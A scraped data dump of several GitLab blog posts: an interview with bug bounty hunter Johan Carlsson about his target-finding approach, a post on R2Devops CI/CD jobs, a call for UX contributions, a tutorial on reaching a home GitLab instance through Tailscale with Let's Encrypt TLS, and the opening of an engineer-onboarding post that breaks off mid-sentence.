hunting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670967/Blog/Hero%20Images/hack-gtlab-keyboard.png","https://about.gitlab.com/blog/cracking-our-bug-bounty-top-10","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want to start hacking? Here's how to quickly dive in\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2022-07-27\",\n      }",{"title":13241,"description":13242,"authors":13247,"heroImage":13243,"date":13248,"body":13249,"category":674,"tags":13250},[12307],"2022-07-27","Johan Carlsson started part-time hacking in May 2021 and is already number 7 on our [HackerOne Top 10 list](https://hackerone.com/gitlab/thanks). How did he get there in such a short time, while juggling a full-time web development job, as well as being a husband and father? Read on to learn about his unique approach, which is a great roadmap for anyone wanting to start – or improve – their hacking game. \n\n![Johan Carlsson profile](https://about.gitlab.com/images/blogimages/bugbounty10/meet-joaxcar.png){: .medium.center}\n\n_But first, a bit about [Johan Carlsson (@joaxcar)](https://hackerone.com/joaxcar):_\n\nJohan lives in Gothenburg, Sweden, with his wife and their three kids. He has bachelor’s degrees in computer science and fine arts. In his after hours, when the kids are asleep, he looks for bugs in GitLab from the comfort of his sofa. He stumbled into IT security and bug bounties through a course in ethical hacking during his last semester at university.\n\nA year ago, he didn’t know what XSS, CSRF, RCE or any of that fancy jargon was, and he considers himself far from a professional hacker. He says he is learning as he goes. When not at the computer, he spends time with his family, or, more accurately, when he is not spending time with his family, he tries to do some bug hunting.\n\n*Check out the replay from our live Ask Me Anything session with Johan:*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3LF8fpAX6Xk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## It starts with the mindset\n\n**Q: It’s pretty impressive that you were able to go from “zero knowledge” in bug hunting to landing in our top ten. What aspects of your approach help you to be successful?  Any tips for other newcomers when it comes to diving into bug hunting?**\n\nJohan: I think persistence and a genuine interest in the subject (in this case IT/web security) is key here. If I were only doing it for the bounties, I don't think I would have been able to continue searching during the days/weeks when I was not able to find any vulnerabilities. For me, I have found as much joy and excitement in learning and researching as in actually finding bugs.\n\nOne thing that I have found particularly useful is being able to set my mind to the state of an attacker of the system. It might sound trivial, but when you come from a background of building things, it can be challenging to understand how a feature you built could be abused. When I now look at a new feature in GitLab, this is always my first question, \"Ok, how could this break, what could go wrong?\"\n\n## What makes a great bug bounty program?\n\n**Q: I see you’ve diversified and about half your HackerOne reputation points come from other bug bounty programs! Have you seen anything cool in other programs that we could consider implementing?**\n\nJohan: Yes, I have been trying my luck in some other programs as well! Mostly it has been to be able to try out other parts of bug hunting that are not very applicable to my work on GitLab, such as automated tooling and more basic \"off the shelf\" bugs from [the OWASP Top 10](https://owasp.org/www-project-top-ten/).\n\nThe one thing I have encountered that I somewhat miss in GitLab's bounty program is a more personalized triage experience. A great thing with GitLab's approach to triage and payouts is that it is very standardized and predictable (both triage communication and payout amount). But this is also the biggest downside for me as a returning reporter, and someone who doesn’t consider bug hunting a job; a more engaged and personalized approach would give someone like me as much encouragement to continue in the program as high bounties would. \n\nI really enjoy the programs that run promotions, that have an active program page and encourage reporters by rewarding bonuses when reports are especially well written, interesting or novel. It is a balancing act I guess, as these activities could risk tilting the program and making it \"unfair.\" These types of incentives are also maybe easier to implement in private programs. But still, even the [November bug challenge](/blog/3rd-annual-bug-bounty-contest/) gave me an extra boost as it diversified the incentive to engage with the program.\n\n🆕 _Additional insight from Johan:_     \nI really wanted to win the keyboard swag in the November challenge. I was stressed that I had not had time to hunt during November but found some time during the last week. I really tried to focus on finding something fun and managed to send in this report – [“Arbitrary POST request as victim user from HTML injection in Jupyter notebooks”]( https://hackerone.com/reports/1409788) – with a finding that I am really proud of. It didn't land me the keyboard, but it did end up giving me my highest bounty I’d earned to that date. 😃 \n\n📝 _A note from GitLab team_   \nWe really appreciate this feedback and understand that changes we’ve made to make our program (and triage process) more efficient and scalable have caused some disappointment across our hacker community. Our intent truly is to make the experience of finding bugs on our platform one that embodies [the GitLab values of collaboration, results, efficiency, diversity, inclusion and belonging, and transparency](https://handbook.gitlab.com/handbook/values/), and we’ll continue striving to balance our need for efficiency and results with our desire to make this a collaborative, transparent and inclusive program. We value the feedback we receive and are constantly looking at ways to improve our program, including response times, collaboration and fun things like contests and incentives. 👀\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://giphy.com/embed/xTiN0CNHgoRf1Ha7CM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n👉 **On that note, we're super excited to share the news of a new CTF we've just launched. Capture the flag and a $20K USD bonus is yours! You can get all the details via our [Bug Bounty program on HackerOne](https://hackerone.com/gitlab).** 🎉  \n\n## How to identify targets\n\n**Q: How do you pick which part of GitLab you’re going to dig into? Do you read our release posts? Do you look at old bugs?**  \n\nJohan: My approach here is very haphazard. It is a mix of reading release notes and looking at [old bugs and random issues on the GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=HackerOne&first_page_size=20). I use all three of these to identify areas of the application that I have missed or never thought of.\n\nReading through the [release blog posts](https://about.gitlab.com/releases/categories/releases/) (especially the monthly security release) has probably been the most fruitful for me. I have reported multiple bugs that are alterations or bypasses to previously fixed and disclosed reports. I usually read through the report, try to understand what caused the problem, and then use my own understanding of GitLab to identify if any edge cases exist where the developers might have missed adding protection. Here’s [an example in HackerOne](https://hackerone.com/reports/1481207) where I did just that!\n\nA bit more random, but fun and rewarding, is to just jump in to issues on the tracker that seem to discuss something interesting. I have found quite a few features that I didn't know existed by reading discussions in issues where GitLab staff and users discuss something completely unrelated to security. I then go to the [documentation](https://docs.gitlab.com) and the source code and try to identify where this feature resides and start poking at it. Here’s an [example of a report I made after doing some digging through public issues](https://hackerone.com/reports/1375393). \n\n🔎 _**More details from Johan:**_   \nFor example, this [External Status Checks documentation page](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html) introduced the feature and also contains links to issues and epics under \"version history.\" This is usually a good entry point, and I’ll then try to find some merged merge requests related to the feature and look at what files are modified. I want to get an understanding of where the feature resides in the codebase.\n\nHowever, I sometimes have the reverse issue, when I find a code path that looks dangerous but I don't know how to reach it from the UI or API. One such instance led me to a series of bugs found in an area of GitLab that I’d never poked at before. (These bugs are just recently fixed/getting fixed, so disclosures have not yet been made.)\n\nThe best part of this combined approach to \"reconnaissance\" is that I can do it on my phone. This is a great feature of the GitLab bug bounty program, as the time I actually have available in front of a computer doing bug hunting is quite restricted.\n\n🧐 _**real-life example from Johan**:_   \nI remember finding this issue, [“Improper access control for users with expired password, giving the user full access through API and Git”](https://hackerone.com/reports/1285226) on my phone while lying in the dark on the floor after tucking my kids to sleep last summer :). It was a reintroduction of an issue that I had already reported. I found a discussion where users experienced some problems connected to the fix (without knowing it) and the issue got introduced again. I realized that the issue existed just from reading the MR. And I just had to get up and test my hypothesis.\n\n## Want to know more? Watch the replay!\n\nLearn more about Johan’s workflow, which information resources he relies on to stay on top of his hacking game, and what tips he’d offer up to those looking to start bug bounty hunting in the [YouTube live playback](https://www.youtube.com/watch?v=3LF8fpAX6Xk&list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s&index=1) and check out the [notes from our call with Johan](https://docs.google.com/document/d/1M_LQbo5LqNKTKdN88FBkK-gIyULe1-HvyQDFLqTi0kA/edit?usp=sharing). For a deeper dive, see all of our [Ask a Hacker AMAs here](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s). \n\nKeep up with Johan Carlsson by following [him on Twitter](https://twitter.com/joaxcar) and [checking out his hacktivity on HackerOne](https://hackerone.com/joaxcar?type=user).\n\n**If you have a question you’d like to `Ask a Hacker` add it to the comments and we’ll include it in an upcoming AMA!**\n\n_**About the GitLab Bug Bounty program:**_\n_The overarching goal of our bug bounty program is to make our products and services more secure. The program is managed by our Application Security team. Since launching our public bug bounty program in December 2018, we’ve received over 3,618 submissions, resolved 1025 reports, awarded more than a million dollars in bounties and thanked 478 hackers for those findings. You can see our program dashboard at https://hackerone.com/gitlab._\n",[674,1938],{"slug":13252,"featured":6,"template":678},"cracking-our-bug-bounty-top-10","content:en-us:blog:cracking-our-bug-bounty-top-10.yml","Cracking Our Bug Bounty Top 10","en-us/blog/cracking-our-bug-bounty-top-10.yml","en-us/blog/cracking-our-bug-bounty-top-10",{"_path":13258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13259,"content":13265,"config":13270,"_id":13272,"_type":16,"title":13273,"_source":17,"_file":13274,"_stem":13275,"_extension":20},"/en-us/blog/r2devops-open-source-hub-cicd",{"title":13260,"description":13261,"ogTitle":13260,"ogDescription":13261,"noIndex":6,"ogImage":13262,"ogUrl":13263,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13263,"schema":13264},"How to create a hub of GitLab CI/CD jobs with R2Devops","Here's how R2Devops and GitLab can work together to streamline CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682395/Blog/Hero%20Images/r2devops1.png","https://about.gitlab.com/blog/r2devops-open-source-hub-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to create a hub of GitLab CI/CD jobs with R2Devops\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Salerno\"}],\n        \"datePublished\": \"2022-07-27\",\n      }",{"title":13260,"description":13261,"authors":13266,"heroImage":13262,"date":13248,"body":13268,"category":736,"tags":13269},[13267],"Sandra Salerno","\n\nCI/CD has changed our development processes, but it hasn’t simplified them in every aspect. The amount of knowledge necessary to implement and maintain your first CI/CD pipelines is huge, and the time you need to invest in it is consequential. Partnering with GitLab, R2Devops aims to simplify CI/CD onboarding by creating a hub of CI/CD jobs. In this blog post I'll show you how to use R2DevOps with GitLab to add jobs to an open source hub.\n\n## A collaborative hub of open source jobs\n\nCollaboration is core to our development processes. On a daily basis, we use open source software and code and ask our teammates for review. Working together to achieve common goals helps us to develop better products and improve continuously. With R2Devops, you’ll find a [collaborative library of open source CI/CD jobs](https://r2devops.io/_/jobs). \n\nYou can save a lot of time by using jobs from an open source library. You won’t have to write your pipeline from scratch for every new project, and you can focus on what you like doing, which is coding.\n\nAnd, of course, working together is working smarter. R2Devops empowers collaboration by allowing developers to add their own jobs into the library directly from their GitLab account. \n\n## How to add a job in R2Devops\n\n![Adding a job](https://about.gitlab.com/images/blogimages/r2devops2.gif){: .shadow.small.left}\n\nLink your GitLab account to [R2Devops](https://r2devops.io), fill in the URL of your repository, the path of your job, and give it a name. Once you click on import, our crawler will check three files:\n\n1.) the jobname.yml/jobname.yaml \n\n2.) the changelog.md\n\n3.) the readme.md. \n\nThe crawler process is explained in detail [in our documentation](https://docs.r2devops.io/crawler/). In short, without a jobname.yml file, R2 won’t be able to import your job. The changelog.md allows R2 to check your job’s versions, and the readme.md is used to build the documentation for each version of your job.\n\nEt voilà, anyone can see your job in R2Devops and easily use it in their pipeline.\n\nOnce your job is in R2Devops, you can add information such as the license, description, and specify labels. This helps other users understand what your job can be used for. That data and the job’s code appears in the documentation. 👇\n\n![Data in the documentation](https://about.gitlab.com/images/blogimages/r2devops3.png){: .shadow.small.left}\n\n### Include any jobs in one line with GitLab Include keyword feature\n\n[In January 2019, GitLab released a feature](https://about.gitlab.com/releases/2019/01/22/gitlab-11-7-released/) that simplifies the CI/CD keyword [Include](https://docs.gitlab.com/ee/ci/yaml/index.html#include) process. Rather than copying the code of a job every time you need to create a new pipeline, you can instead indicate to your pipeline where the source is located.\n\nFor example, this:\n\n![pre-include](https://about.gitlab.com/images/blogimages/r2devops4.png){: .shadow.small.left}\n\ncan become the below:\n\n![post-include](https://about.gitlab.com/images/blogimages/r2devops5.png){: .shadow.small.left}\n\nThis feature is used in R2Devops. Every resource added in the library gets its own _Include_ link, so anyone can implement it in one line in their CI/CD. It also means that the file you are using is located in a unique place. Once you update it, you only have to update the include link by modifying the version of the job you want to use. You don’t have to update the whole code in every pipeline you own.\n\n### Customize the job you need using GitLab variables\n\nMost of R2Devops’ jobs are plug and play, meaning you can add the _Include_ link of the job in your pipeline, launch it, and it will work. We understand every project is different and has its own requirements, which is why we defined variables for each job. \n\n[GitLab CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) and YAML overrides allow you to customize the jobs and make them fit your project easily. \n\n![How to customize](https://about.gitlab.com/images/blogimages/r2devops6.png){: .shadow.small.left}\n\nWe have included two jobs from the hub as examples: [python_test](https://r2devops.io/_/r2devops-bot/python_test) code and[sls-scan](https://r2devops.io/_/r2devops-bot/sls_scan). Using the variables defined in the documentation for each job, you can personalize the behavior of these jobs to fit our project requirements.\n\n## Matching GitLab's values of open source and transparency\n\nR2Devops joined the [GitLab Alliance Partner Program](/handbook/alliances/) in March. Both solutions share the same goal – to simplify developer lives by improving development processes. If you want to take part in the development of the open source CI/CD community of GitLab or give feedback on the solution, please [join the R2Devops community on Discord.](https://discord.r2devops.io?utm_medium=website&utm_source=r2devops&utm_campaign=button https://discord.r2devops.io?utm_medium=gitlab&utm_source=blog&utm_campaign=articleR2Devops)\n\nCover image by [Duy Pham](https://unsplash.com/@miinyuii) on [Unsplash](https://unsplash.com)\n{: .note}\n\n\n",[110,4103,282],{"slug":13271,"featured":6,"template":678},"r2devops-open-source-hub-cicd","content:en-us:blog:r2devops-open-source-hub-cicd.yml","R2devops Open Source Hub Cicd","en-us/blog/r2devops-open-source-hub-cicd.yml","en-us/blog/r2devops-open-source-hub-cicd",{"_path":13277,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13278,"content":13284,"config":13290,"_id":13292,"_type":16,"title":13293,"_source":17,"_file":13294,"_stem":13295,"_extension":20},"/en-us/blog/5-problems-you-can-help-us-solve-right-now",{"title":13279,"description":13280,"ogTitle":13279,"ogDescription":13280,"noIndex":6,"ogImage":13281,"ogUrl":13282,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13282,"schema":13283},"5 UX problems you can help us fix right now","“We spent 40 hours talking to 20 of you. Now we’ve got some issues we’d like your help on.”","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682386/Blog/Hero%20Images/pexels-sevenstorm-juhaszimrus-704767.jpg","https://about.gitlab.com/blog/5-problems-you-can-help-us-solve-right-now","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 UX problems you can help us fix right now\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ben Leduc-Mills\"}],\n        \"datePublished\": \"2022-07-25\",\n      }",{"title":13279,"description":13280,"authors":13285,"heroImage":13281,"date":13287,"body":13288,"category":813,"tags":13289},[13286],"Ben Leduc-Mills","2022-07-25"," \n\nWe’ve all been there. You’re sailing along, being productive, and wham! Something inexplicably awful disrupts your workflow. You ask yourself, “How could _anyone_ think this was a good idea?” Maybe it’s a bug, slow performance, or bad design. One of the reasons we conduct [user experience research at GitLab](/handbook/product/ux/ux-research/) is to find these problems and report back to our teams so they can fix them. \n\n![Grumpy cat looking over computer](https://about.gitlab.com/images/blogimages/hhh13-tEMU4lzAL0w-unsplash__1_.jpg)\nWe've all been there\n{: .note.text-center}\n\nWith a product as rich and complex as GitLab, we find _a lot_ of problems. So many, in fact, we often can't fix them as fast as you find them. ([Although we do try!](/releases/2022/05/22/gitlab-15-0-released/#bug-fixes)) The great thing about GitLab is that [**everyone** can contribute](/company/mission/). This is the first in a new series of blog posts where the UX researchers at GitLab transform their findings into some great first contributions that community members can explore. \n\nWe recently spent 2 hours each with 20 people who use GitLab, going through specific tasks related to branch and merge request operations, and, predictably, we found plenty of things to work on (although this research focused on the code creation and review process) - you can check out the full report below:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe style=\"border: 1px solid rgba(0, 0, 0, 0.1);\" width=\"800\" height=\"450\" src=\"https://www.figma.com/embed?embed_host=share&url=https%3A%2F%2Fwww.figma.com%2Fproto%2FmF555KKsf1m1UyyXbWxXu2%2FBenchmarking-Slides%3Fnode-id%3D943%253A12915%26scaling%3Dscale-down%26page-id%3D40%253A124%26starting-point-node-id%3D943%253A12915\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\nWithout further ado, here are five issues we would **love** your contributions on:\n\n1. [Show more branches in the drop down menu while reverting a merge request.](https://gitlab.com/gitlab-org/gitlab/-/issues/358218) \n1. [Increase the discoverability of the insert suggestion feature.](https://gitlab.com/gitlab-org/gitlab/-/issues/368716) \n1. [Fix data loss when switching from inline to side-by-side view on MR creation page.](https://gitlab.com/gitlab-org/gitlab/-/issues/358217) \n1. [Show selected labels within the dropdown menu.](https://gitlab.com/gitlab-org/gitlab/-/issues/322945) \n1. [Improve clarity of text-only buttons -- Move 'mark as draft' onto new line](https://gitlab.com/gitlab-org/gitlab/-/issues/358437) \n\nWondering where to start? Check out [this blog post](/blog/first-time-open-source-contributor-5-things-to-get-you-started/) and [our development guide](/community/contribute/development/) and become an all-star contributor! \n\nNeed guidance or help? Feel free to leave a comment directly on one of the issues linked above, or find support in the \"get help\" section [in our contributing guide](/community/contribute/#getting-help).\n\nContributing to an open source project also brings a ton of proven benefits you might not expect:\n\n- Contributing is one of the most efficient ways to learn, as it is learning by doing and [being guided by merge request coaches](https://handbook.gitlab.com/job-families/expert/merge-request-coach/). Contributing has been proven time and time again to be the best form of learning!\n- Public exposure and explicit appreciation from the open source community, which helps build your public profile And show your expertise ... you never know when that resume might come in handy! 😊 \n- You're in for a treat: **first-time** contributors receive GitLab swag, **regular** contributors (5 MRs or more) are eligible for the [GitLab Heroes program](/community/heroes), and **top** contributors may be invited to join the [GitLab Core team](/community/core-team/).\n\nAnd not only is this beneficial for you, but also for your employer (if you are employed). Because you are growing and learning at a rapid speed from the best, you will get a faster turnaround time when integrating a feature into the platform since you know how the system works. You will get more value from the most precious resource in the universe, time 🕐. Take advantage of this experience today. We are convinced of the benefits and we hope you and/or your employer are too now. Let's aim for the moon together. 🚀 \n\n1,2,3...**let's go!**\n\nCover image by [SevenStorm JUHASZIMRUS](https://www.pexels.com/@sevenstormphotography/) on [Pexels](https://www.pexels.com/photo/123-let-s-go-imaginary-text-704767/)\n{: .note}\n",[2704,267,815,1307,2249],{"slug":13291,"featured":6,"template":678},"5-problems-you-can-help-us-solve-right-now","content:en-us:blog:5-problems-you-can-help-us-solve-right-now.yml","5 Problems You Can Help Us Solve Right Now","en-us/blog/5-problems-you-can-help-us-solve-right-now.yml","en-us/blog/5-problems-you-can-help-us-solve-right-now",{"_path":13297,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13298,"content":13303,"config":13308,"_id":13310,"_type":16,"title":13311,"_source":17,"_file":13312,"_stem":13313,"_extension":20},"/en-us/blog/how-to-access-gitlab-on-a-private-network-with-tailscale",{"title":13299,"description":13300,"ogTitle":13299,"ogDescription":13300,"noIndex":6,"ogImage":11938,"ogUrl":13301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13301,"schema":13302},"How to access GitLab on a private network with Tailscale","If issues around a private network were preventing a permanent GitLab installation, Brendan O'Leary has the solution with Tailscale.","https://about.gitlab.com/blog/how-to-access-gitlab-on-a-private-network-with-tailscale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to access GitLab on a private network with Tailscale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-07-21\",\n      }",{"title":13299,"description":13300,"authors":13304,"heroImage":11938,"date":13305,"body":13306,"category":734,"tags":13307},[11790],"2022-07-21","\nGitLab provides an easy-to-install package for most Linux distributions and even for devices like the [Raspberry Pi](https://docs.gitlab.com/omnibus/settings/rpi.html). However, if you want to install GitLab in a home lab or similar private network, you would then be faced with a new issue: how do you access the instance from outside that private network?\n\nTraditionally, you would set up your router to forward traffic from your public IP address to the server inside your network. However, this comes with several drawbacks:\n\n- Opening a port on your home or private network comes with a sustainable amount of risk.\n- It can be hard or impossible for folks to do depending on their internet service provider and what routing equipment they use.\n- It can be especially tough if your ISP doesn't provide you with a statically assigned IP address which means your address can change from time to time, and you'll need to either update DNS manually or through some third-party [dynamic DNS](https://www.cloudflare.com/learning/dns/glossary/dynamic-dns/) service.\n\nFor me, all of these challenges have meant that I've only ever really run GitLab \"for fun\" on my local network. Given the challenges above, running a permanent installation wasn't an option. That is until [Tailscale](https://tailscale.com) entered my life.\n\n## Tailscale\n\nTailscale isn't necessarily the \"newest\" technology. In fact, it is based on the [WireGuard protocol](https://www.wireguard.com/), which has existed in one form or another since 2015 and has seen native kernel support added to various Linux distributions as well as the kernel itself over the past several years.  Wireguard VPN technology makes considerable improvements in the usability and setup of virtual private networks over earlier protocols like IPsec. Even with being easier to use, the \"problem\" with WireGuard, at least for me, was always that it was still too complex to set up and maintain. Much like configuring my ISP's router for port forwarding, it wasn't _impossible_, but it just wasn't practical.\n\nEnter Tailscale. Tailscale provides a simple piece of client software, available for Linux, Mac, and Windows (and iOS and Android!), which implements the WireGuard protocol and allows you to control your VPN network from a handy web interface. Not only that, it's [free to use](https://tailscale.com/pricing/) for individuals and small networks. When I started using Tailscale, it was to make sure I could connect back to my home network and troubleshoot it while traveling for work. As the only system administrator in my house, this was fantastic.\n\nHowever, Tailscale also offers the ability to easily access services inside of various networks as well by setting up a mesh VPN between them, all with IP addresses in the 100.x.y.z range. That means for any web service or other service on my network, I can access it with a statically assigned IP address from any other device connected to Tailscale, and create a DNS record to have a domain point to the IP address. At last, I could run GitLab (and other open source tools) at home and safely connect to them from outside my house with as little hassle as possible. So how did I get it to work?\n\n## Tailscale and GitLab together\n\nAssuming you already have a GitLab [installation](/install/) up and running on your network, getting it working through Tailscale involves a few steps:\n\n- Installing Tailscale\n- Setting up DNS for the private address\n- Configuring HTTPS encryption\n\n### Installing Tailscale\n\nPackages are [available](https://tailscale.com/kb/1031/install-linux/) for many Linux distributions. To install Tailscale, you can select your [specific distribution](https://tailscale.com/kb/1031/install-linux/) for detailed instructions. There are also [static binaries](https://tailscale.com/kb/1053/install-static/) if you can't find your particular distribution - they are available for x86 and ARM CPUs for both 32- and 64-bit variants.\n\nOnce Tailscale is installed, getting it running is as simple as running the following command on the CLI:\n\n```bash\nsudo tailscale up\n```\n\nThe setup dialogue will walk you through the authentication process and get Tailscale running. After that process, you can see your new IP address for this node on your network with the CLI command `tailscale ip -4`. You'll need that IP address for the next steps.\n\nBy default, Tailscale will set an expiration date for the token it issues to your device during the authentication process. This is desirable for typical devices that may be transient or portable. However, suppose your device is secured inside your home or another secure place AND is a server you're not accessing all the time. In that case, you can optionally [disable key expiry](https://tailscale.com/kb/1028/key-expiry/) for that particular device.\n\n### Setting up DNS\n\nYou should be able to now access your device from any other Tailscale-connected device via the IP address from the last step. However, my goal was to make it easy for me to connect to GitLab, reference it by an URL, and encrypt the traffic end-to-end with TLS. As the next step I set up DNS.\n\nEven though the 100.x.y.z address is a private IP address, you can still create a public DNS record and have the hostname to point to it. That won't mean the whole world can access your server - it just means once you're connected to your Tailscale network, you can resolve that hostname to the IP address and access the web server. For me, I set up an A record for `gitpi.boleary.dev` to resolve to an IPv4 address:\n\n```\n;; QUESTION SECTION:\n;gitpi.boleary.dev.\t\tIN\tA\n\n;; ANSWER SECTION:\ngitpi.boleary.dev.\t300\tIN\tA\t100.64.205.40\n```\n\nAn important note here is that I use Cloudflare as my DNS provider - and I usually love Cloudflare's proxying service to make my \"real\" IP addresses private. In this case, you have to disable that proxying to make sure that you can resolve the correct address - Cloudflare can't proxy traffic into your Tailscale network.\n\n### Configuring HTTPS\n\nLastly, configuring HTTPS for your GitLab instance will ensure that all traffic is encrypted end-to-end. While Tailscale encrypts the traffic over the network, this will ensure there are no gaps between your device and your GitLab server.\n\nTo accomplish this, we'll use [`certbot`](https://certbot.eff.org/) from the EFF that lets us create and manage [Let's Encrypt](https://letsencrypt.org/) certificates. First, install `certbot` with `sudo apt install certbot` or follow the [instructions for your distribution](https://certbot.eff.org/instructions).\n\nAfter certbot is installed, issue a certificate to use with GitLab using a DNS challenge. Follow the steps to complete the DNS challenge after running this command:\n\n```bash\nsudo certbot certonly --manual --preferred-challenges dns\n```\n\nThe output will show you the specific location of the certificate it created (in my case, in a `gitpi.boleary.dev` folder), and you should link that certificate to GitLab's SSL directory by running:\n\n```bash\nsudo mkdir /etc/gitlab/ssl/\nsudo ln -s /etc/letsencrypt/live/gitpi.boleary.dev/fullchain.pem /etc/gitlab/ssl/gitpi.boleary.dev.crt\nsudo ln -s /etc/letsencrypt/live/gitpi.boleary.dev/privkey.pem /etc/gitlab/ssl/gitpi.boleary.dev.key\n```\n\nNext, configure GitLab to use the new certificate by opening the `gitlab.rb` with\n\n```bash\nsudo vi /etc/gitlab/gitlab.rb\n```\n\nAnd change the `external_url` value to match the URL for the certificate (e.g. `https://gitpi.boleary.dev`). That \"https\" will tell GitLab to enable TLS/SSL and use your linked certificate.\n\n## Finishing up\n\nThat's it! Now with a simple `gitlab-ctl reconfigure`, GitLab will pick up the new certificate and start responding to requests at that URL. From any device - iOS, Android, laptop, etc. - connected to your Tailscale network, you can access your GitLab installation (securely) from anywhere!\n",[696,815,232],{"slug":13309,"featured":6,"template":678},"how-to-access-gitlab-on-a-private-network-with-tailscale","content:en-us:blog:how-to-access-gitlab-on-a-private-network-with-tailscale.yml","How To Access Gitlab On A Private Network With Tailscale","en-us/blog/how-to-access-gitlab-on-a-private-network-with-tailscale.yml","en-us/blog/how-to-access-gitlab-on-a-private-network-with-tailscale",{"_path":13315,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13316,"content":13322,"config":13326,"_id":13328,"_type":16,"title":13329,"_source":17,"_file":13330,"_stem":13331,"_extension":20},"/en-us/blog/quickly-onboarding-engineers-successfully",{"title":13317,"description":13318,"ogTitle":13317,"ogDescription":13318,"noIndex":6,"ogImage":13319,"ogUrl":13320,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13320,"schema":13321},"How to quickly (and successfully) onboard engineers","It's a tough hiring market today. Here's how GitLab gets engineers onboard fast and sets them up for success.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670635/Blog/Hero%20Images/kubernetesterms.jpg","https://about.gitlab.com/blog/quickly-onboarding-engineers-successfully","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to quickly (and successfully) onboard engineers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2022-07-21\",\n      }",{"title":13317,"description":13318,"authors":13323,"heroImage":13319,"date":13305,"body":13324,"category":734,"tags":13325},[2680],"\n\nNo one ever said hiring was easy. As a matter of fact, talent hiring and retention are some of the hardest aspects to get right for any software company. \n\nAccording to [a recent article at Developer Pitstop](https://developerpitstop.com/how-long-do-software-engineers-stay-at-a-job/) the average engineer will only stay at a job for an average of two years before moving on, and this tenure is shrinking as time goes on. \n\nWhen we look at the average timeline for engineers in a new role we usually see something like:\n\n> - Learning and adaptation (3 / 6 months):\n>   Coming to grips with the new company, team, and their processes.\n> \n> - Creating value for the organization (6 / 12 months):\n>   Adding value to the business by becoming a functioning member of the team.\n> \n> - Becoming a role expert (6 / 18 months):\n>   Owning the role completely and helping to shape the direction of the team.\n\n## Software engineer onboarding\n\nAt GitLab we pride ourselves on an outstanding onboarding process to reduce the amount of time an engineer will spend in the `learning and adaptation` bracket and accelerate their evolution into the `creating value for the organization` bracket. We do this for two main reasons:\n\n- **Quicker integration**: We aim to have engineers ship production code in less than one week, and fully onboard them in less than three months.\n- **Reduce turnover**: Engineers who have an awesome onboarding experience tend to stay with the same company longer.\n\n**The bottom line is that with these benefits, investing in an amazing onboarding process gives you the highest ROI on your hiring initiatives.**\n\nSo, now that we know **why** we need to ensure we onboard quickly and correctly, let's talk about **how** we do it at GitLab. \n\n## Software engineer onboarding process: An overview\n\n- 💯 Before day one \n- 💥 It's all about the onboarding issue\n- 🥂 Pick the right onboarding buddy\n- 👌 Pair, pair, and more pairing\n- 🖐 All the coffee chats\n- 🤘 Tailor the experience to the role\n- 🚢 Ship some code in a week or less\n- 💬 Let's get (and give) some feedback\n\n![onboarding](https://about.gitlab.com/images/blogimages/onboarding.png){: .shadow}\n\n## 💯 Before day one\n\nThe best processes for onboarding software engineers start as soon as the candidate has officially accepted the offer. This is done in a few ways:\n\n- An onboarding issue is created with tasks for the hiring manager, their buddy, and People Experience (HR).\n- The hiring manager selects the right onboarding buddy for the engineer and communicates expectations (more on this later).\n- The engineer's accounts (Email, GitLab account, Okta, etc) are created and their hardware is shipped.\n- GitLab reaches out via email to let the candidate know what the onboarding process looks like.\n- The hiring manager reaches out to the engineer via email to set up a coffee chat on Day 1 as the initial process might seem overwhelming.\n\nFor us, the most important aspect is communication with the engineer to ensure they are set up for success. We provide them with access to their onboarding issue, helpful video guides for getting started, and a primer on how to navigate our [handbook like a pro](https://about.gitlab.com/handbook/people-group/general-onboarding/). The reason this is so important is that we know if we stop communicating with the engineer after signing, we are at risk of creating uncertainty, introducing inefficiency, or even losing them to another offer during that time.\n\n## 💥 It's all about the onboarding issue\n\nAt GitLab, our [onboarding issue](https://about.gitlab.com/handbook/people-group/general-onboarding/#onboarding-issue-template-links) is the most effective tool we have for successfully onboarding a new engineer quickly. Hiring managers use this issue almost exclusively, both for building momentum and for following our value of transparency. We use this issue, instead of Slack or email, to create a single source of truth for everyone during the process and to prevent fragmented communication. For anyone new at GitLab, the first few weeks can seem like a lot to get on top of, so the hiring manger wants to 